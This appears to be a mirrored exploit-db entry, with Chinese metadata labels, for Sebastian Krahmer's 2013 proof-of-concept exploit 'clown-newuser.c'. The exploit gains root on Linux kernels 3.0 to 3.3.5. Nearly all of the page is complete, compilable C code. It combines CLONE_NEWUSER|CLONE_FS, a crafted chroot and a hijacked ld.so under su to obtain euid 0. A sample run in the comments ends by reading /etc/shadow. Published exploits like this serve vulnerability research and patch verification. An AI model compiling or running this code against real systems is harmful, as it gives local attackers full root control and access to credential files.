Linux Kernel 3.0 < 3.3.5 - 'CLONE_NEWUSER|CLONE_FS' Local Privilege Escalation

  • 作者: Sebastian Krahmer
    日期: 2013-03-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38390/
  • /*
    source: https://www.securityfocus.com/bid/58478/info
    
    Linux kernel is prone to a local privilege-escalation vulnerability.
    
    Local attackers can exploit this issue to gain kernel privileges, which will aid in further attacks. 
    */
    
    /* clown-newuser.c -- CLONE_NEWUSER kernel root PoC
     *
     * Dedicated to: Locke Locke Locke Locke Locke Locke Locke!
     *
     * This exploit was made on the 13.3.13.
     *
     * (C) 2013 Sebastian Krahmer
     *
     * We are so 90's, but we do 2013 xSports.
     *
     * Must be compiled static:
     *
     * stealth@linux-czfh:~> cc -Wall clown-newuser.c -static
     * stealth@linux-czfh:~> ./a.out
     * [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer
     *
     * [+] Found myself: '/home/stealth/a.out'
     * [*] Parent waiting for boomsh to appear ...
     * [*] Setting up chroot ...
     * [+] Done.
     * [*] Cloning evil child ...
     * [+] Done.
     * [*] Creating UID mapping ...
     * [+] Done.
     * [+] Yay! euid=0 uid=1000
     * linux-czfh:/home/stealth # grep bin /etc/shadow
     * bin:*:15288::::::
     * linux-czfh:/home/stealth #
     *
     */
    #define _GNU_SOURCE
    #include <sched.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <string.h>
    #include <errno.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    
    
    int go[2];
    char child_stack[1<<20];
    extern char **environ;
    
    
    void die(const char *msg)
    {
    	perror(msg);
    	exit(errno);
    }
    
    
    int child(void *arg)
    {
    	char c;
    
    	close(go[1]);
    	read(go[0], &c, 1);
    
    	setuid(0);
    
    	/* this will also affect the parent, but the parent
    	 * has the init_user_ns, so it will start suid with real uid 0.
    	 */
    	if (chdir("chroot") < 0)
    		die("[-] chdir");
    	if (chroot(".") < 0)
    		die("[-] chroot");
    
    	return 0;
    }
    
    
    
    int setup_chroot(const char *me)
    {
    	mkdir("chroot", 0755);
    	mkdir("chroot/lib64", 0755);
    	mkdir("chroot/bin", 0755);
    
    	if (link(me, "chroot/lib64/ld-linux-x86-64.so.2") < 0)
    		die("[-] link");
    	if (link("/bin/su", "chroot/bin/su") < 0)
    		die("[-] link");
    	return 0;
    }
    
    
    int main(int argc, char *argv[])
    {
    	char *su[] = {"/bin/su", NULL};
    	char *sh[] = {"/bin/bash", NULL};
    	char me[256], *mee[] = {me, "1", NULL};
    	char uidmap[128], map_file[128];
    	pid_t pid;
    	struct stat st;
    	int fd;
    
    
    	if (geteuid() == 0 && argc == 1) {
    		/* this will run inside chroot, started as the ld.so from
    		 * su process
    		 */
    		printf("[+] Yay! euid=%d uid=%d\n", geteuid(), getuid());
    		chown("lib64/ld-linux-x86-64.so.2", 0, 0);
    		chmod("lib64/ld-linux-x86-64.so.2", 04755);
    		exit(0);
    	} else if (geteuid() == 0) {
    		/* this will run outside */
    		setuid(0);
    		execve(*sh, sh, environ);
    		die("[-] execve");
    	}
    
    	printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer\n\n");
    
    	memset(me, 0, sizeof(me));
    	readlink("/proc/self/exe", me, sizeof(me) - 1);
    	printf("[+] Found myself: '%s'\n", me);
    
    	if (fork() > 0) {
    		printf("[*] Parent waiting for boomsh to appear ...\n");
    		for (;;) {
    			stat(me, &st);
    			if (st.st_uid == 0)
    				break;
    			usleep(1000);
    		}
    		execve(me, mee, environ);
    		die("[-] execve");
    	}
    
    	printf("[*] Setting up chroot ...\n");
    	setup_chroot(me);
    	printf("[+] Done.\n[*] Cloning evil child ...\n");
    
    	if (pipe(go) < 0)
    		die("[-] pipe");
    
    	pid = clone(child, child_stack + sizeof(child_stack),
    	CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL);
    	if (pid == -1)
    		die("[-] clone");
    
    	printf("[+] Done.\n[*] Creating UID mapping ...\n");
    
    	snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid);
    	if ((fd = open(map_file, O_RDWR)) < 0)
    		die("[-] open");
    	snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid());
    	if (write(fd, uidmap, strlen(uidmap)) < 0)
    		die("[-] write");
    	close(fd);
    	printf("[+] Done.\n");
    
    	close(go[0]);
    	write(go[1], "X", 1);
    
    	waitpid(pid, NULL, 0);
    	execve(*su, su, NULL);
    	die("[-] execve");
    	return -1;
    }